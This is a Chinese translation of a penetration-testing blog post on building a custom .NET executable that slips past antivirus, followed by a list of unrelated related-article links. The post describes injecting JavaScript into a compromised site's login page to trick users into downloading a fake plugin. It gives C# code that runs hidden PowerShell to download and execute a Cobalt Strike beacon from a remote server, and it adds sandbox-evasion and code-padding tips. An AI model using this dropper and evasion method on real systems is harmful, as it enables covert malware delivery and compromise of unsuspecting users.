在进行渗透测试的过程中,我们有时候会希望使用可执行文件来完成某些任务。最近,我们在测试过程中拿下了一个网站,从而获得了一次发动水坑攻击的机会。

原文地址:https://www.peew.pw/blog/2017/11 … bles-for-pentesters


背景

于是, 我们将JavaScript嵌入网站的登录页面,提醒用户当前的应用程序需要安装一个浏览器插件才能正常使用,然后诱骗用户下载相应的“插件”。最初的时候,我们尝试利用一个HTA文件在用户的系统上执行PowerShell命令,以便建立一个连接我们的服务器(Cobalt

Strike)的C2通道。但由于某种原因,这种方法在我们的目标系统上面无法正常使用。后来,我们在自己的多个系统上对这种攻击方法进行了尝试,结果一切正常,所以我们不知道HTA是被某些东西拦截了,还是引起了用户的怀疑,或者用户被HTA文件给搞糊涂了。不过不用担心,我们只要把HTA换成了一个定制的exe文件,我们的成功率就能超过50%。

然而,exe文件(也称为可移植可执行文件,也就是PE,因为它包含了由Windows运行所需的全部信息)的问题在于,它通常情况下必须写入磁盘,但是这样一来,它就很容易被AV软件发现。我们知道,各种红队工具(从Metasploit到Cobalt

Strike)都能够生成一个通过C2通道反向连接攻击者机器的exe文件。虽然这些文件每个都不尽相同(这样就能确保具有不同的哈希值),但是,它们却很难逃过AV的法眼。

VirusTotal对Cobalt Strike默认的Beacon有效载荷的分析结果。

实际上,有许多工具可以将这些PE文件封装成不同的代码,以使其看起来跟原来不一样,从而逃避各种安全检测,这些工具包括之前非常流行的Veil-Evasion。 尽管Veil为攻击者提供了很多选项,但防御工具也对这种可执行文件封装器的路数了如指掌。

编写定制的PE文件绕过安全检测

事实证明,即使没有非常尖端的工具、先进的加密技术或0-day漏洞利用代码,也照样可以绕过99%的防御性产品。为此,只需要创建一些自定义的东西——那些安全软件从来没有见过的东西。这时候,编写定制的PE文件就派得上用场了。 我们将使用Visual Studio编写一个.NET可执行文件,让它来执行我们需要的命令。

首先,让我们启动Visual Studio并创建一个新项目。这里,我们可以使用“Windows Forms App (.NET Framework)”模板。

在Visual Studio中新建一个项目。

由于只是创建一个可以静默运行的可执行文件(无窗口),所以,我们可以删除Visual Studio创建的“Form1.cs”以及Program.cs中Main函数的内容。 如果你想为恶意软件创建一个更合理的前端视图,你可以保留这个表单,创建更加有用的外观。

删除系统为我们生成的表单后的项目。

接下来,我们将为读者介绍如何通过C#应用程序来启动一个程序。这里,我们将以PowerShell为例进行介绍。

(在以后的文章中,我们将介绍如何直接从C#程序加载代码,而无需启动另一个进程)

这里将使用System.Diagnostics.Process类来设置和启动我们的新进程。同时,这里将powershell.exe设置为我们的进程,并向其传递一个要执行的命令。 在这个例子中,我们会让PowerShell“沉睡”10秒,以便留出足够的时间来观察其中的运作机制。

static void Main()

{

Process process = new Process();

process.StartInfo.FileName = "powershell.exe";

process.StartInfo.Arguments = "-c "Start-Sleep -s 10"";

process.Start();

}

当运行该程序(点击顶部菜单中的“Start”按钮或按F5)的时候,您应该会看到一个PowerShell窗口停留10秒钟,然后关闭。你会注意到,最初的C#进程一旦启动PowerShell,它自己就会马上退出;它不会等待PowerShell进程退出。

为了观察PowerShell进程的行为表现,需要将窗口设置为隐藏状态。为此,可以直接使用ProcessStartInfo类,而不必在PowerShell中使用“-w hidden”参数,因为后一种做法常常会引起安全软件的怀疑。

process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;

我们还可以将前面的sleep命令换成一个下载并执行指定有效载荷(例如Cobalt Strike的Beacon)的PowerShell命令。显然,我们需要设置好相应的有效载荷和监听器。

process.StartInfo.Arguments = "-c "IEX ((new-object net.webclient).downloadstring('http://10.7.254.230/beacon.ps1'))""

现在,终于到了exe文件出场的时候了。如果您已经通过了代码的最终版本,那么该exe文件将位于projectnamebinDebugprojectname.exe下的项目文件夹中。 如果你不想在自己的系统上运行有效载荷,你可以选择Build>Build Solution菜单项或者按F6来构建一个新的exe版本,而无需真正执行这个程序。

让我们看看效果到底是如何!

最后的效果

VirusTotal对我们定制的可执行文件的分析结果。

不错!

它看起来一切正常!

通过运行我们的自定义可执行文件获得的Beacon

下一步

很明显,五行自定义代码并不是一个长久的解决方案。我毫不怀疑,其他人也会发现这个方法非常有用,随着使用这种方法的人越来越多,这种方法也会渐渐被AV所察觉。然而,我们自己编写可执行文件的好处是,我们可以自定义程序的核心,并且可以随时随地进行大刀阔斧的修改。毕竟,通过添加无关的函数来隐藏代码是很容易的事情,无论是计算pi还是对列表进行排序的代码,都可以达到同样的效果。

我们也可以通过其他.NET函数来加强我们的程序。例如,如果我们知道目标系统的域名,我们可以在启动PowerShell进程之前检查该域名,以避免陷入沙箱。

很明显,我们在这里仍然调用了PowerShell,所以任何与此相关的日志或警报仍然适用。理想情况下,我们不会调用我们定制的可执行文件之外的任何程序。

下一个重要步骤是将有效载荷的所有内容都放入在可执行文件中。这里需要涉及许多方面,从在本地机器上托管PowerShell代码,到通过命令完成下载和执行,以及将shell代码加载到内存中。

猜你喜欢:利用Python CGIHTTPServer绕过CSRF令牌

手把手教渗透测试人员打造.NET可执行文件的更多相关文章

  1. 专为渗透测试人员设计的 Python 工具大合集

    如果你对漏洞挖掘.逆向工程分析或渗透测试感兴趣的话,我第一个要推荐给你的就是Python编程语言.Python不仅语法简单上手容易,而且它还有大量功能强大的库和程序可供我们使用.在这篇文章中,我们会给 ...

  2. 手把手教你用python打造网易公开课视频下载软件3-对抓取的数据进行处理

    上篇讲到抓取的数据保存到rawhtml变量中,然后通过编码最终保存到html变量当中,那么html变量还会有什么问题吗?当然会有了,例如可能html变量中的保存的抓取的页面源代码可能有些标签没有关闭标 ...

  3. 手把手教你用python打造网易公开课视频下载软件2-编码相关说明

    函数getdownLoadInfo(url)主要实现核心功能:根据url地址,获取课程信息:课程名(courseTitle),课程数目(courseCount),可下载视频数目(videoCount) ...

  4. 手把手教你用python打造网易公开课视频下载软件5-python生成exe程序

    python程序生成exe文件,使用的是py2exe扩展包,下面写下具体的步骤: 第一步:新建conver2exe.py,内容如下: #coding:utf-8 from distutils.core ...

  5. 手把手教你用python打造网易公开课视频下载软件4-图形化界面

    上一篇讲解完函数:def getdownLoadInfo (url): 传入公开课的url地址,就可以提取课程的信息,这一篇讲解一下如何编写图像化界面.大概思考一下图像化界面需要的内容: (1)一个标 ...

  6. 手把手教你用python打造网易公开课视频下载软件1-总述

    写作前面的话:最近准备重温一下算法导论,感谢大网易把MIT算法导论课程全部贴出来,地址为:http://v.163.com/special/opencourse/algorithms.html,在线看 ...

  7. 渗透测试工程师认证 | CISP-PTE证书含金量

    注册渗透测试工程师(CISP-PTE)认证是由中国信息安全测评中心针对攻防专业领域实施的资质培训, 是国内唯一针对网络安全渗透测试专业人才的资格认证,是目前国内最为主流及被业界认可的专业攻防领域的资质 ...

  8. xss之渗透测试

    跨站脚本攻击:cross site script execution(通常简写为xss,因css与层叠样式表同名,故改为xss),是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用 ...

  9. 全球著名的渗透测试Linux简介

    注:如发现链接无法打开,请尝试代理登录链接 1. Kali Linux Kali Linux是基于Debian的Linux发行版, 设计用于数字取证和渗透测试.由Offensive Security ...

随机推荐

  1. eclipse报Access restriction: The type 'BASE64Decoder' is not API处理方法

    今天从svn更新代码之后,由于代码中使用了BASE64Encoder  更新之后报如下错误: Access restriction: The type ‘BASE64Decoder’ is not A ...

  2. redis客户端执行命令没反应

    问题:redis-cli连接客户端后,执行命令没有反应   解决方法:通过指定一个开启守护进程的配置文件来启动服务,redis-server ../redis.conf 说明:redis.conf是我 ...

  3. jQuery的节点操作

    1.创建节点 var aa = $("<div id='cccc'>插入的内容</div>") var bb = $("<a href='h ...

  4. Git学习笔记——从一台电脑上传文件到Github上

    目标:从一台电脑上传文件到Github上 前提: 1.这里假定已在Github上创建了仓库,建立了仓库 2.已在这台电脑上安装了Git客户端 实验环境: 1.Windows 10 64位,已安装了Gi ...

  5. Centos7 下mariadb安装

    1.创建 /etc/yum.repos.d/MariaDB.repo vim  /etc/yum.repos.d/MariaDB.repo 添加如下内容: [mariadb]name=MariaDB ...

  6. 基于etcd插件的CoreDNS动态域名添加

    前提条件:已经有一个可用的etcd环境. 一.CoreDNS简介 CoreDNS是一个DNS服务器,和Caddy Server具有相同的模型:它链接插件.CoreDNS是云本土计算基金会启动阶段项目. ...

  7. 三大语言实例 (python,C/C++,Java)

    Python3.5语言实例: #coding = utf-8 import sys def Sub_string(a,b): c=[0]*len(b) for i in range(len(a)): ...

  8. MarkDown语法练习笔记

    MarkDown使用规则 标题Markdown 支持两种标题的语法,类 Setext 和类 atx 形式 Setext 形式:用底线的形式 Selext形式采用: 1.最高阶标题(=)2.第二阶标题( ...

  9. 企业搜索引擎开发之连接器connector(二十四)

    本人在上文中提到,连接器实现了两种事件依赖的机制 ,其一是我们手动操作连接器实例时:其二是由连接器的自动更新机制 上文中分析了连接器的自动更新机制,即定时器执行定时任务 那么,如果我们手动操作连接器实 ...

  10. 关于windows服务注册的问题

    开发工具:VS2012 语言:C# 今天的工作内容是把wcf服务以windows服务的方式运行,由于之前没有做过windows服务,所有在网上找了些文章来看下,发现创建windows 服务是一件很简单 ...